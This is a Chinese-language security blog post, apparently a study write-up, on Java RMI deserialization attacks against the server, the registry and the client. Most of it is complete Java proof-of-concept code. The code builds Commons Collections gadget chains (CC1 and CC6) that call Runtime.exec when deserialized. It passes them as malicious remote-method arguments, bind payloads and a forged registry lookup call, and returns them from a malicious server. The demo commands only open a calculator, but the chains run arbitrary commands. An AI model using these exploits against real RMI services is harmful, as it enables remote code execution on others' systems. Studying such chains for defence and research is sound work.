目录

java RMI反序列化-攻击篇

在上面的 RMI 调用过程中我们可以发现,全部的通信流程均通过反序列化实现,而且在三个角色中均进行了反序列化的操作。那也就说明针对三端都有攻击的可能,我们依次来看一下。

攻击 server 端

恶意方法

远程方法的调用实际发生在服务端。当注册的远程对象上存在某个恶意方法,我们可以在客户端调用这个方法来攻击客户端,最简单的一种

恶意参数

在调用远程方法,会触发代理类的 invoke 方法,方法中会获取服务端创建的 Stub,会在本地调用这个 Stub 并传递参数,序列化这个参数,然后在服务端会对这个参数进行反序列化,上面已经详细说明过了。

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/image-20240728003950323.png https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/image-20240728020150098.png

那么就可以构造恶意 Object 型参数。利用 CC1 的 lazymap 链

package org.example;  
import java.rmi.NotBoundException;  
import java.rmi.RemoteException;  
import java.rmi.registry.LocateRegistry;  
import java.rmi.registry.Registry;  
import java.util.Arrays;  
import org.apache.commons.collections.Transformer;  
import org.apache.commons.collections.functors.ChainedTransformer;  
import org.apache.commons.collections.functors.ConstantTransformer;  
import org.apache.commons.collections.functors.InvokerTransformer;  
import org.apache.commons.collections.map.LazyMap;  
import java.lang.annotation.Target;  
import java.lang.reflect.Constructor;  
import java.lang.reflect.InvocationHandler;  
import java.lang.reflect.Method;  
import java.util.HashMap;  
import java.util.Map;  
import java.lang.reflect.Proxy;  
  
public class cilent {  
    public static void main(String[] args)throws RemoteException, NotBoundException ,Exception{  
  
        Registry registry = LocateRegistry.getRegistry("localhost", 1099);  
        Object execObject = getexec();  
        System.out.println(Arrays.toString(registry.list()));  
        RMIinter stub = (RMIinter) registry.lookup("Hello");  
        System.out.println(stub.hello(execObject));  
  
    }  
    private static Object getexec() throws Exception{  
        Transformer[] transformers = new Transformer[] {  
                new ConstantTransformer(Runtime.class),  
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),  
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{Runtime.class ,new Object[0]}),  
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})  
        };  
        Transformer transformerChain = new ChainedTransformer(transformers);  
  
        Map innerMap = new HashMap();  
        innerMap.put("value","111");  
        Map outerMap = LazyMap.decorate(innerMap, transformerChain);  
  
        Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");  
        Constructor c = cls.getDeclaredConstructor(Class.class, Map.class);  
        c.setAccessible(true);  
  
        InvocationHandler handler = (InvocationHandler) c.newInstance(Target.class, outerMap);  
        Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClass().getClassLoader(), new Class[]{Map.class}, handler);  
        Object o = c.newInstance(Target.class, proxyMap);  
        return o;  
    }  
}

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/image-20240728021507801.png

服务端也需要 cc1 依赖,简单调试一番可以看到会调用到 AnnotationInvocationHandler.readobject

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/image-20240728021925968.png

剩下的就不用多说了和 cc1 一样,当然其他链子都行,比如 cc6 起码可以打打其他 jdk 版本

package org.example;  
  
import java.lang.reflect.*;  
import java.rmi.NotBoundException;  
import java.rmi.RemoteException;  
import java.rmi.registry.LocateRegistry;  
import java.rmi.registry.Registry;  
import java.util.Arrays;  
import org.apache.commons.collections.Transformer;  
import org.apache.commons.collections.functors.ChainedTransformer;  
import org.apache.commons.collections.functors.ConstantTransformer;  
import org.apache.commons.collections.functors.InvokerTransformer;  
import org.apache.commons.collections.keyvalue.TiedMapEntry;  
import org.apache.commons.collections.map.LazyMap;  
import java.lang.annotation.Target;  
import java.util.HashMap;  
import java.util.Map;  
  
public class cilent {  
    public static void main(String[] args)throws RemoteException, NotBoundException ,Exception{  
  
        Registry registry = LocateRegistry.getRegistry("localhost", 1099);  
        Object execObject = getexec();  
        System.out.println(Arrays.toString(registry.list()));  
        RMIinter stub = (RMIinter) registry.lookup("Hello");  
        System.out.println(stub.hello(execObject));  
  
    }  
    private static Object getexec() throws Exception{  
        Transformer[] transformers = new Transformer[] {  
                new ConstantTransformer(Runtime.class),  
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),  
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{Runtime.class ,new Object[0]}),  
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})  
        };  
        ChainedTransformer cha = new ChainedTransformer(transformers);  
        HashMap<Object, Object> map = new HashMap<>();  
        Map<Object, Object> Lazy = LazyMap.decorate(map,new ConstantTransformer(1));  
  
        TiedMapEntry Tie=new TiedMapEntry(Lazy,"aaa");  
        HashMap<Object,Object> hashmap = new HashMap<>();  
        hashmap.put(Tie,"gaoren");  
  
        Class<LazyMap> lazyMapClass = LazyMap.class;  
        Field factoryField = lazyMapClass.getDeclaredField("factory");  
        factoryField.setAccessible(true);  
        factoryField.set(Lazy, cha);  
  
        Lazy.remove("aaa");  
        return hashmap;  
    }  
}

其他的如法炮制就是了。

替身攻击

在讨论对 Server 端的攻击时,还出现了另外一种针对参数的攻击思路——–替身攻击。依旧是用来绕过当参数不是 Object,是指定类型,但是还想触发反序列化的一种讨论。

大体的思路就是调用的方法参数是 HelloObject,而攻击者希望使用 CC 链来反序列化,比如使用了一个入口点为 HashMap 的 POC,那么攻击者在本地的环境中将 HashMap 重写,让 HashMap 继承 HelloObject,然后实现反序列化漏洞攻击的逻辑,用来欺骗 RMI 的校验机制。

攻击 Registry 端

前面看到在使用 Registry 时,首先由 Server 端向 Registry 端绑定服务对象,这个对象是一个 Server 端生成的动态代理类,Registry 端会反序列化这个类并存在自己的 RegistryImpl 的 bindings 中,以供后续的查询,这里可以进行一个利用。

Naming.bind("rmi://127.0.0.1:1099/sayHello", new RemoteObjImpl());

也可以从客户端进行攻击,上面看到会调用 RegistryImpl_Skel.dispatch,最后里面是存在反序列化的,也可以利用。RegistryImpl_Skel.dispatch 里面对应关系如下

  • 0->bind
  • 1->list
  • 2->lookup
  • 3->rebind
  • 4->unbind

list

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/image-20240728170910022.png

没有反序列化,所以也就无法攻击了。

bind&rebind

case 0:
                try {
                    var11 = var2.getInputStream();
                    var7 = (String)var11.readObject();
                    var8 = (Remote)var11.readObject();
                } catch (IOException var94) {
                    throw new UnmarshalException("error unmarshalling arguments", var94);
                } catch (ClassNotFoundException var95) {
                    throw new UnmarshalException("error unmarshalling arguments", var95);
                } finally {
                    var2.releaseInputStream();
                }

                var6.bind(var7, var8);

                try {
                    var2.getResultStream(true);
                    break;
                } catch (IOException var93) {
                    throw new MarshalException("error marshalling return", var93);
                }
case 3:
                try {
                    var11 = var2.getInputStream();
                    var7 = (String)var11.readObject();
                    var8 = (Remote)var11.readObject();
                } catch (IOException var85) {
                    throw new UnmarshalException("error unmarshalling arguments", var85);
                } catch (ClassNotFoundException var86) {
                    throw new UnmarshalException("error unmarshalling arguments", var86);
                } finally {
                    var2.releaseInputStream();
                }

                var6.rebind(var7, var8);

                try {
                    var2.getResultStream(true);
                    break;
                } catch (IOException var84) {
                    throw new MarshalException("error marshalling return", var84);
                }

是有 readobject 方法的,可以进行反序列化攻击。看到都是获取 var2 的流然后进行反序列化,看看 var2 是什么

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/image-20240728171356683.png

看到师傅说这就是一个远程对象,也就是这两个方法会用 readObject 读出参数名和远程对象。

所以还是 CC1 的 poc

package org.example;  
  
import java.rmi.NotBoundException;  
import java.rmi.Remote;  
import java.rmi.RemoteException;  
import java.rmi.registry.LocateRegistry;  
import java.rmi.registry.Registry;  
import java.util.Arrays;  
import org.apache.commons.collections.Transformer;  
import org.apache.commons.collections.functors.ChainedTransformer;  
import org.apache.commons.collections.functors.ConstantTransformer;  
import org.apache.commons.collections.functors.InvokerTransformer;  
import org.apache.commons.collections.map.LazyMap;  
import java.lang.annotation.Target;  
import java.lang.reflect.Constructor;  
import java.lang.reflect.InvocationHandler;  
import java.lang.reflect.Method;  
import java.util.HashMap;  
import java.util.Map;  
import java.lang.reflect.Proxy;  
  
public class cilent {  
    public static void main(String[] args)throws RemoteException, NotBoundException ,Exception{  
  
        Transformer[] transformers = new Transformer[] {  
                new ConstantTransformer(Runtime.class),  
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),  
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{Runtime.class ,new Object[0]}),  
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})  
        };  
  
        Transformer chain = new ChainedTransformer(transformers);  
  
        HashMap innermap = new HashMap();  
    
        innermap.put("value","111");  
        Map map = LazyMap.decorate(innermap, chain);  
  
  
        Constructor handler_constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class,Map.class);  
        handler_constructor.setAccessible(true);  
        InvocationHandler map_handler = (InvocationHandler) handler_constructor.newInstance(Override.class,map); //创建第一个代理的handler  
  
        Map proxy_map = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),new Class[]{Map.class},map_handler); //创建proxy对象  
  
  
        Constructor AnnotationInvocationHandler_Constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class,Map.class);  
        AnnotationInvocationHandler_Constructor.setAccessible(true);  
        InvocationHandler handler = (InvocationHandler)AnnotationInvocationHandler_Constructor.newInstance(Override.class,proxy_map);  
  
        Registry registry = LocateRegistry.getRegistry("localhost", 1099);  
  
        Remote r = Remote.class.cast(Proxy.newProxyInstance(Remote.class.getClassLoader(), new Class[] { Remote.class }, handler));  
  
        registry.bind("test",r);  
  
    }  
}

unbind&lookup

也存在反序列化

case 2:
                try {
                    var10 = var2.getInputStream();
                    var7 = (String)var10.readObject();
                } catch (IOException var89) {
                    throw new UnmarshalException("error unmarshalling arguments", var89);
                } catch (ClassNotFoundException var90) {
                    throw new UnmarshalException("error unmarshalling arguments", var90);
                } finally {
                    var2.releaseInputStream();
                }

                var8 = var6.lookup(var7);
case 4:
                try {
                    var10 = var2.getInputStream();
                    var7 = (String)var10.readObject();
                } catch (IOException var81) {
                    throw new UnmarshalException("error unmarshalling arguments", var81);
                } catch (ClassNotFoundException var82) {
                    throw new UnmarshalException("error unmarshalling arguments", var82);
                } finally {
                    var2.releaseInputStream();
                }

                var6.unbind(var7);

也有调用 readobject 方法,但是和 bind 以及 rebind 不一样的是只能传入 String 类型,这里我们可以通过伪造连接请求进行利用,修改 lookup 方法代码使其可以传入对象,原先的 lookup 方法

poc 直接抄的师傅们的了

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import sun.rmi.server.UnicastRef;

import java.io.ObjectOutput;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.rmi.Remote;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

import java.rmi.server.Operation;
import java.rmi.server.RemoteCall;
import java.rmi.server.RemoteObject;
import java.util.HashMap;
import java.util.Map;

public class Client {

    public static void main(String[] args) throws Exception {

        ChainedTransformer chain = new ChainedTransformer(new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] {
                        String.class, Class[].class }, new Object[] {
                        "getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] {
                        Object.class, Object[].class }, new Object[] {
                        null, new Object[0] }),
                new InvokerTransformer("exec",
                        new Class[] { String.class }, new Object[]{"open  /System/Applications/Calculator.app"})});
        HashMap innermap = new HashMap();
        Class clazz = Class.forName("org.apache.commons.collections.map.LazyMap");
        Constructor[] constructors = clazz.getDeclaredConstructors();
        Constructor constructor = constructors[0];
        constructor.setAccessible(true);
        Map map = (Map)constructor.newInstance(innermap,chain);

        Constructor handler_constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class,Map.class);
        handler_constructor.setAccessible(true);
        InvocationHandler map_handler = (InvocationHandler) handler_constructor.newInstance(Override.class,map); //创建第一个代理的handler

        Map proxy_map = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),new Class[]{Map.class},map_handler); //创建proxy对象

        Constructor AnnotationInvocationHandler_Constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class,Map.class);
        AnnotationInvocationHandler_Constructor.setAccessible(true);
        InvocationHandler handler = (InvocationHandler)AnnotationInvocationHandler_Constructor.newInstance(Override.class,proxy_map);

        Registry registry = LocateRegistry.getRegistry("127.0.0.1",1099);
        Remote r = Remote.class.cast(Proxy.newProxyInstance(
                Remote.class.getClassLoader(),
                new Class[] { Remote.class }, handler));
        // 获取ref
        Field[] fields_0 = registry.getClass().getSuperclass().getSuperclass().getDeclaredFields();
        fields_0[0].setAccessible(true);
        UnicastRef ref = (UnicastRef) fields_0[0].get(registry);

        //获取operations

        Field[] fields_1 = registry.getClass().getDeclaredFields();
        fields_1[0].setAccessible(true);
        Operation[] operations = (Operation[]) fields_1[0].get(registry);

        // 伪造lookup的代码,去伪造传输信息
        RemoteCall var2 = ref.newCall((RemoteObject) registry, operations, 2, 4905912898345647071L);
        ObjectOutput var3 = var2.getOutputStream();
        var3.writeObject(r);
        ref.invoke(var2);
    }
}

攻击 Client 端

上面看到远程方法返回了一个命令执行结果到客户端,客户端会对其进行反序列化。意思是让返回结果为恶意对象就行。

这个就得服务端返回一个 object 对象了

服务端

package org.example;  
  
import java.rmi.RemoteException;  
import java.rmi.server.UnicastRemoteObject;  
import java.lang.reflect.*;  
import org.apache.commons.collections.Transformer;  
import org.apache.commons.collections.functors.ChainedTransformer;  
import org.apache.commons.collections.functors.ConstantTransformer;  
import org.apache.commons.collections.functors.InvokerTransformer;  
import java.util.HashMap;  
import java.util.Map;  
public class RMIobj extends UnicastRemoteObject implements RMIinter {  
  
    protected RMIobj() throws RemoteException {  
        super();  
    }  
  
    public Object hello() throws RemoteException ,Exception{  
        InvocationHandler handler = null;  
        try {  
            ChainedTransformer chain = new ChainedTransformer(new Transformer[]{  
                    new ConstantTransformer(Runtime.class),  
                    new InvokerTransformer("getMethod", new Class[]{  
                            String.class, Class[].class}, new Object[]{  
                            "getRuntime", new Class[0]}),  
                    new InvokerTransformer("invoke", new Class[]{  
                            Object.class, Object[].class}, new Object[]{  
                            null, new Object[0]}),  
                    new InvokerTransformer("exec",  
                            new Class[]{String.class}, new Object[]{"calc"})});  
            HashMap innermap = new HashMap();  
            Class clazz = Class.forName("org.apache.commons.collections.map.LazyMap");  
            Constructor[] constructors = clazz.getDeclaredConstructors();  
            Constructor constructor = constructors[0];  
            constructor.setAccessible(true);  
            Map map = (Map) constructor.newInstance(innermap, chain);  
  
  
            Constructor handler_constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class);  
            handler_constructor.setAccessible(true);  
            InvocationHandler map_handler = (InvocationHandler) handler_constructor.newInstance(Override.class, map); //创建第一个代理的handler  
  
            Map proxy_map = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Map.class}, map_handler); //创建proxy对象  
  
  
            Constructor AnnotationInvocationHandler_Constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class);  
            AnnotationInvocationHandler_Constructor.setAccessible(true);  
            handler = (InvocationHandler) AnnotationInvocationHandler_Constructor.newInstance(Override.class, proxy_map);  
  
        }catch(Exception e){  
            e.printStackTrace();  
        }  
  
        return (Object)handler;  
    }  
}

客户端进行调用

package org.example;  
  
import java.rmi.NotBoundException;  
import java.rmi.RemoteException;  
import java.rmi.registry.LocateRegistry;  
import java.rmi.registry.Registry;  
import java.util.Arrays;  
  
public class cilent {  
    public static void main(String[] args)throws RemoteException, NotBoundException {  
  
        Registry registry = LocateRegistry.getRegistry("localhost", 1099);  
        System.out.println(Arrays.toString(registry.list()));  
        RMIinter stub = (RMIinter) registry.lookup("Hello");  
        stub.hello();
    }  
}

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/image-20240729002011328.png

参考:https://su18.org/post/rmi-attack/#2-攻击-registry-端
参考:https://nivi4.notion.site/Java-RMI-8eae42201b154ecc89455a480bcfc164
参考:https://xz.aliyun.com/t/9053?time__1311=n4%2BxnD0DuAiti%3DGkD9D0x05Sb%2BDOSYKaNTNaTek4D#toc-1